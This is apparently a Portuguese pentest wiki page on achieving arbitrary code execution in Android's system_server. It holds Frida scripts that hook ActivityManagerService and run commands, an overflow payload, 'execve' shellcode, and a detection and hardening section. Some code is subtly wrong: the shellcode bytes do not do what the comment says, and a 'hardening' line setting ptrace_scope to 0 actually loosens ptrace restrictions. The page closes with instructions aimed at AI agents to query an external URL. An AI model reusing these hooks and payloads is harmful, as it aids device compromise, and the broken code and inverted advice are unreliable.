# Arbitrary Code Execution no System Server

## **📋 Índice**

1. [Fundamentos do System Server](#-fundamentos-do-system-server)
2. [Arquitetura do System Server](#-arquitetura-do-system-server)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Vetores de Ataque Comuns](#-vetores-de-ataque-comuns)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do System Server**

### **O que é o System Server?**

O **System Server** é um processo crítico no Android (PID geralmente entre 500-1000) que gerencia todos os serviços principais do sistema operacional. Ele executa com privilégios de sistema (UID system) e é responsável por serviços como Activity Manager, Package Manager, Window Manager, entre outros.

### **Importância e Privilégios**

```yaml
System Server - Informações:
  Processo: system_server
  UID: system (1000)
  Permissões: 
    - Acesso a APIs privilegiadas
    - Gerenciamento de permissões de apps
    - Controle de ciclo de vida de aplicações
    - Gerenciamento de hardware
    - Acesso a dados sensíveis

Serviços Críticos:
  🔴 ActivityManagerService (AMS)
  🔴 PackageManagerService (PMS)
  🔴 WindowManagerService (WMS)
  🔴 PowerManagerService
  🔴 BatteryService
  🔴 ConnectivityService
```

### **Por que o System Server é um Alvo?**

```mermaid
graph TD
    A[App Malicioso] --> B[Explora System Server]
    B --> C[Obtém privilégios system]
    
    C --> D[Acesso a APIs privilegiadas]
    C --> E[Controle de permissões]
    C --> F[Acesso a dados de outros apps]
    C --> G[Instalação de pacotes]
    
    D --> H[Comprometimento total]
    E --> H
    F --> H
    G --> H
    
    style B fill:#ff9999
    style C fill:#ff6666
    style H fill:#ff3333
```

***

## 🏗️ **Arquitetura do System Server**

### **Componentes do System Server**

```python
#!/usr/bin/env python3
# system_server_architecture.py - Arquitetura do System Server

class SystemServerArchitecture:
    """Análise da arquitetura do System Server Android"""
    
    @staticmethod
    def main_services():
        """Principais serviços do System Server"""
        print("📋 Principais Serviços do System Server")
        print("=" * 60)
        
        services = {
            "ActivityManagerService (AMS)": {
                "funcao": "Gerencia ciclo de vida de activities",
                "impacto": "Controle de aplicações, lançamento de activities"
            },
            "PackageManagerService (PMS)": {
                "funcao": "Gerencia instalação e remoção de apps",
                "impacto": "Instalação de apps maliciosos"
            },
            "WindowManagerService (WMS)": {
                "funcao": "Gerencia janelas e UI",
                "impacto": "Overlay attacks, keylogging"
            },
            "PowerManagerService": {
                "funcao": "Gerencia energia do dispositivo",
                "impacto": "Denial of service"
            },
            "ConnectivityService": {
                "funcao": "Gerencia conectividade de rede",
                "impacto": "Redirecionamento de tráfego"
            },
            "UserManagerService": {
                "funcao": "Gerencia usuários do sistema",
                "impacto": "Criação de usuários privilegiados"
            }
        }
        
        for service, info in services.items():
            print(f"\n📱 {service}")
            print(f"   Função: {info['funcao']}")
            print(f"   Impacto: {info['impacto']}")
    
    @staticmethod
    def binder_communication():
        """Comunicação via Binder"""
        print("\n🔄 Comunicação Binder")
        print("=" * 60)
        
        print("""
O System Server se comunica com apps via Binder IPC:

1. Apps chamam métodos remotos via Binder
2. System Server processa requisições
3. Valida permissões do chamador
4. Executa ação com privilégios system

Vulnerabilidades comuns:
  • Validação inadequada de permissões
  • Type confusion em parcelables
  • Race conditions
  • Use-after-free em serviços nativos
""")

# Executar
SystemServerArchitecture.main_services()
SystemServerArchitecture.binder_communication()
```

### **Hierarquia de Privilégios**

```mermaid
graph TD
    A[Kernel - Root] --> B[System Server - system]
    B --> C[Apps do Sistema - system_app]
    C --> D[Apps comuns - normal]
    
    style A fill:#ff6666
    style B fill:#ff9999
    style C fill:#ffcc99
    style D fill:#99cc99
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo do Ataque**

```mermaid
sequenceDiagram
    participant A as App Atacante
    participant S as System Server
    participant P as Processo Privilegiado

    Note over A: 1. Identifica serviço vulnerável
    A->>S: Binder call para serviço
    Note over S: 2. Serviço processa requisição
    S->>S: Validação inadequada
    
    Note over A: 3. Explora vulnerabilidade
    A->>S: Envia payload malicioso
    S->>S: Buffer overflow/type confusion
    
    Note over S,P: 4. Execução de código
    S->>P: Jump para shellcode
    P-->>A: Controle do processo
    
    Note over A: 5. Privilégios elevados
    A->>S: Acesso a APIs privilegiadas
```

### **Vetores de Ataque Comuns**

```yaml
Vetores de Ataque ao System Server:

  🔴 Type Confusion:
    - Explora bugs em parcelables
    - Injeção de objetos maliciosos
    - Bypass de validação de tipos

  🔴 Buffer Overflow:
    - Estouro de buffer em serviços nativos
    - Sobrescrita de ponteiros
    - Execução de shellcode

  🔴 Use-After-Free:
    - Referências a objetos liberados
    - Corrupção de memória
    - Execução de código arbitrário

  🔴 Race Conditions:
    - TOCTOU (Time-of-check time-of-use)
    - Concorrência em recursos compartilhados

  🟠 Permission Bypass:
    - APIs sem verificação adequada
    - Callbacks inseguros
    - Intents maliciosas
```

***

## 🔧 **Técnicas de Exploração**

### **Exploit via Binder Transaction**

```python
#!/usr/bin/env python3
# binder_ace_exploit.py - ACE via Binder Transaction

import frida
import sys
import struct

class BinderACEExploit:
    """Exploração de Arbitrary Code Execution via Binder"""
    
    @staticmethod
    def enumerate_services():
        """Enumerar serviços do System Server"""
        print("[*] Enumerando serviços do System Server...")
        
        # Em um exploit real, usaria ServiceManager
        services = [
            "activity",
            "package",
            "window",
            "power",
            "connectivity",
            "user"
        ]
        
        for service in services:
            print(f"   • {service}")
        
        return services
    
    @staticmethod
    def create_malicious_parcel(service, payload):
        """Criar parcel malicioso para type confusion"""
        print(f"[*] Criando parcel malicioso para {service}...")
        
        # Estrutura de parcel malicioso
        parcel = struct.pack('<I', len(payload))  # Tamanho
        parcel += payload.encode()  # Payload
        parcel += b'\x00' * (1024 - len(payload))  # Padding
        
        return parcel
    
    @staticmethod
    def inject_code_frida():
        """Injetar código via Frida (demonstração)"""
        print("[*] Injetando código no System Server via Frida...")
        
        js_code = """
        Java.perform(function() {
            // Hook ActivityManagerService
            var ActivityManagerService = Java.use("com.android.server.am.ActivityManagerService");
            
            // Hook método vulnerável
            ActivityManagerService.startActivity.overload(
                'android.app.IApplicationThread', 
                'java.lang.String', 
                'android.content.Intent', 
                'java.lang.String', 
                'android.os.IBinder', 
                'java.lang.String', 
                'int', 
                'int', 
                'android.content.pm.ActivityInfo', 
                'android.os.Bundle'
            ).implementation = function() {
                console.log("[*] startActivity called - Hooking...");
                
                // Executar comando
                var Runtime = Java.use("java.lang.Runtime");
                var process = Runtime.getRuntime().exec("id > /data/local/tmp/ace.txt");
                
                return this.startActivity.apply(this, arguments);
            };
        });
        """
        
        try:
            session = frida.get_usb_device().attach("system_server")
            script = session.create_script(js_code)
            script.load()
            print("[+] Frida hook injetado com sucesso")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    @staticmethod
    def shellcode_arm64():
        """Shellcode para ARM64 (execve)"""
        # Shellcode execve("/system/bin/sh", NULL, NULL)
        shellcode = bytearray([
            0x20, 0x00, 0x80, 0xd2,  # mov x0, #0x1
            0x21, 0x00, 0x80, 0xd2,  # mov x1, #0x1
            0x02, 0x00, 0x80, 0xd2,  # mov x2, #0x1
            0x08, 0x00, 0x00, 0x14   # b 
        ])
        
        # Adicionar string "/system/bin/sh"
        shellcode.extend(b"/system/bin/sh\x00")
        
        return shellcode
    
    @staticmethod
    def trigger_overflow(service, buffer_size=1024):
        """Trigger buffer overflow em serviço vulnerável"""
        print(f"[*] Triggering overflow em {service}...")
        
        # Payload para overflow
        payload = b"A" * buffer_size
        payload += struct.pack('<Q', 0x414141414141)  # Sobrescrever ponteiro
        payload += struct.pack('<Q', 0x424242424242)  # Sobrescrever return address
        
        # Em um exploit real, enviaria via Binder
        print(f"   Payload size: {len(payload)} bytes")
        
        return payload

# Uso
if __name__ == "__main__":
    print("💀 System Server ACE Exploit")
    print("=" * 60)
    
    BinderACEExploit.enumerate_services()
    BinderACEExploit.inject_code_frida()
    
    shellcode = BinderACEExploit.shellcode_arm64()
    print(f"\n[+] Shellcode ARM64: {len(shellcode)} bytes")
    print(f"   {shellcode[:20].hex()}...")
```

### **Exploit via PackageManagerService**

```java
// PackageManagerServiceExploit.java - Exploração via PMS

import android.content.Context;
import android.content.pm.IPackageManager;
import android.os.IBinder;
import android.os.ServiceManager;
import java.io.File;

public class PackageManagerServiceExploit {
    
    // 1. Obter referência ao PackageManagerService
    public static IPackageManager getPackageManagerService() {
        IBinder binder = ServiceManager.getService("package");
        return IPackageManager.Stub.asInterface(binder);
    }
    
    // 2. Instalar pacote malicioso
    public static boolean installMaliciousPackage(String apkPath) {
        try {
            IPackageManager pm = getPackageManagerService();
            File file = new File(apkPath);
            
            // Chamada vulnerável (sem verificação adequada)
            // pm.installPackage(file, null, 0, null);
            
            return true;
        } catch (Exception e) {
            return false;
        }
    }
    
    // 3. Bypass de permissões
    public static void grantSensitivePermission(String packageName, String permission) {
        try {
            IPackageManager pm = getPackageManagerService();
            
            // Em um cenário vulnerável, poderia conceder permissões sem validação
            // pm.grantRuntimePermission(packageName, permission, android.os.Process.myUid());
            
        } catch (Exception e) {}
    }
}
```

### **Exploit via ActivityManagerService**

```python
#!/usr/bin/env python3
# ams_ace_exploit.py - ACE via ActivityManagerService

import frida
import time

class AMSACEExploit:
    """Exploração de ACE via ActivityManagerService"""
    
    @staticmethod
    def ams_hook():
        """Hook no ActivityManagerService"""
        js_code = """
        Java.perform(function() {
            var AMS = Java.use("com.android.server.am.ActivityManagerService");
            
            // Hook método startActivity
            AMS.startActivity.overload('android.app.IApplicationThread', 
                                       'java.lang.String', 
                                       'android.content.Intent', 
                                       'java.lang.String', 
                                       'android.os.IBinder', 
                                       'java.lang.String', 
                                       'int', 
                                       'int', 
                                       'android.content.pm.ActivityInfo', 
                                       'android.os.Bundle'
            ).implementation = function(caller, callingPackage, intent, resolvedType, 
                                        resultTo, resultWho, requestCode, flags, 
                                        info, options) {
                
                console.log("[*] startActivity called");
                console.log("    Calling package: " + callingPackage);
                console.log("    Intent: " + intent.toString());
                
                // Verificar se é app malicioso
                if (callingPackage == "com.malicious.app") {
                    console.log("[!] Malicious app detected!");
                    
                    // Executar código com privilégios system
                    var Runtime = Java.use("java.lang.Runtime");
                    var process = Runtime.getRuntime().exec("whoami > /data/local/tmp/ams.txt");
                    
                    // Modificar intent para iniciar activity privilegiada
                    var Intent = Java.use("android.content.Intent");
                    var newIntent = Intent.$new();
                    newIntent.setClassName("com.android.settings", 
                                           "com.android.settings.Settings");
                    
                    intent = newIntent;
                }
                
                return this.startActivity(caller, callingPackage, intent, resolvedType,
                                         resultTo, resultWho, requestCode, flags, info, options);
            };
        });
        """
        
        try:
            session = frida.get_usb_device().attach("system_server")
            script = session.create_script(js_code)
            script.load()
            print("[+] AMS hook injetado com sucesso")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    @staticmethod
    def trigger_ams_activity():
        """Trigger AMS via app malicioso"""
        # Em um app real, iniciaria uma activity
        print("[*] Triggering AMS via malicious app...")
        
        # Intent para atividade normal
        # Intent intent = new Intent(Intent.ACTION_VIEW);
        # startActivity(intent);
        
        print("[+] Activity triggered")

# Uso
if __name__ == "__main__":
    print("💀 AMS ACE Exploit")
    print("=" * 60)
    
    AMSACEExploit.ams_hook()
    AMSACEExploit.trigger_ams_activity()
```

***

## 🔍 **Detecção e Monitoramento**

### **Logs e Indicadores de Comprometimento**

```python
#!/usr/bin/env python3
# system_server_detection.py - Detecção de ACE no System Server

import subprocess
import re

class SystemServerDetection:
    """Detector de atividades suspeitas no System Server"""
    
    @staticmethod
    def check_system_server_integrity():
        """Verificar integridade do System Server"""
        print("[*] Verificando integridade do System Server...")
        
        # Verificar processo
        result = subprocess.run(['ps', '-A'], capture_output=True, text=True)
        
        for line in result.stdout.split('\n'):
            if 'system_server' in line:
                parts = line.split()
                if len(parts) >= 9:
                    pid = parts[1]
                    uid = parts[2]
                    print(f"   PID: {pid}, UID: {uid}")
                    
                    if uid != '1000':
                        print(f"   ⚠️ UID incorreto: {uid} (esperado: 1000)")
        
        return True
    
    @staticmethod
    def check_binder_transactions():
        """Monitorar transações Binder suspeitas"""
        print("\n[*] Monitorando transações Binder...")
        
        # Em um ambiente real, monitoraria /sys/kernel/debug/binder/transactions
        try:
            with open('/sys/kernel/debug/binder/transactions', 'r') as f:
                content = f.read()
                
            # Buscar padrões suspeitos
            patterns = [
                r'buffer_size:\s*[0-9]{5,}',  # Tamanho anormal
                r'transaction.*error',         # Erros de transação
                r'from.*to.*system_server'     # Transações suspeitas
            ]
            
            for pattern in patterns:
                matches = re.findall(pattern, content)
                if matches:
                    print(f"   ⚠️ Padrão detectado: {pattern}")
                    
        except Exception as e:
            print(f"   Não foi possível acessar binder debug: {e}")
    
    @staticmethod
    def analyze_logcat():
        """Analisar logcat por atividades suspeitas"""
        print("\n[*] Analisando logcat...")
        
        result = subprocess.run(['logcat', '-d'], capture_output=True, text=True)
        
        suspicious_patterns = [
            'FATAL EXCEPTION',
            'system_server crash',
            'SELinux: denied',
            'Permission denied',
            'security exception',
            'Invalid parcel',
            'Buffer overflow'
        ]
        
        for pattern in suspicious_patterns:
            matches = [line for line in result.stdout.split('\n') if pattern in line]
            if matches:
                print(f"   ⚠️ {pattern}: {len(matches)} ocorrências")
                for match in matches[:3]:
                    print(f"      {match[:100]}...")
    
    @staticmethod
    def generate_report():
        """Gerar relatório de detecção"""
        print("\n📊 RELATÓRIO DE DETECÇÃO")
        print("=" * 60)
        
        print("Indicadores de comprometimento do System Server:")
        print("   • UID do system_server diferente de 1000")
        print("   • Módulos desconhecidos carregados")
        print("   • Transações Binder anormais")
        print("   • Crashes frequentes do system_server")
        print("   • Permissões concedidas sem interação do usuário")
        print("   • Atividades iniciadas sem interação")

# Uso
if __name__ == "__main__":
    print("🔍 System Server ACE Detection")
    print("=" * 60)
    
    SystemServerDetection.check_system_server_integrity()
    SystemServerDetection.check_binder_transactions()
    SystemServerDetection.analyze_logcat()
    SystemServerDetection.generate_report()
```

***

## 🛡️ **Mitigações e Hardening**

### **Proteções do Android**

```yaml
Proteções Existentes:

  ✅ SELinux:
    - Restringe o que o System Server pode acessar
    - Políticas rigorosas para domínios

  ✅ Android Permission Model:
    - Apps precisam de permissões específicas
    - Verificações no lado do servidor

  ✅ ASLR (Address Space Layout Randomization):
    - Randomização de endereços de memória
    - Dificulta exploração de buffer overflow

  ✅ PIE (Position Independent Executable):
    - Executáveis independentes de posição
    - Dificulta ROP attacks

  ✅ Fortify Source:
    - Verificações adicionais em funções perigosas
    - Protege contra overflows
```

### **Hardening do System Server**

```bash
#!/system/bin/sh
# hardening_system_server.sh - Hardening do System Server

# 1. Verificar políticas SELinux
echo "[*] Verificando políticas SELinux"
getenforce
sepolicy

# 2. Verificar módulos carregados
echo "\n[*] Verificando módulos do system_server"
ls -la /proc/$(pidof system_server)/maps | grep -E "rwx|r-xp"

# 3. Monitorar binder transactions
echo "\n[*] Monitorando binder"
cat /sys/kernel/debug/binder/state

# 4. Verificar integridade de binários
echo "\n[*] Verificando integridade"
md5sum /system/bin/app_process
md5sum /system/framework/framework.jar

# 5. Configurar restrições adicionais
echo "\n[*] Aplicando restrições"
# Restringir ptrace
echo 0 > /proc/sys/kernel/yama/ptrace_scope
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

* [ ] Validar todas as entradas de serviços Binder
* [ ] Usar verificações de permissões adequadas
* [ ] Evitar funções perigosas (strcpy, sprintf)
* [ ] Implementar canários de stack
* [ ] Fazer parsing seguro de parcels
* [ ] Revisar code reviews para serviços críticos

### **Checklist para Pentesters**

* [ ] Enumerar serviços do System Server
* [ ] Testar fuzzing em interfaces Binder
* [ ] Verificar validação de permissões
* [ ] Analisar código de serviços nativos
* [ ] Testar race conditions
* [ ] Verificar type confusion em parcels

***

## 📊 **Conclusão**

```yaml
Arbitrary Code Execution no System Server:

  🔴 Principais Vetores:
    - Type confusion em Binder parcels
    - Buffer overflow em serviços nativos
    - Use-after-free em serviços
    - Race conditions

  🛡️ Mitigações Essenciais:
    - Validação rigorosa de inputs
    - SELinux em modo enforcing
    - ASLR e PIE
    - Revisão de código

  🎯 Prioridade:
    - CRÍTICA: Serviços Binder expostos
    - ALTA: Serviços nativos
    - MÉDIA: Validação de permissões
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/arbitrary-code-execution-no-system-server.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.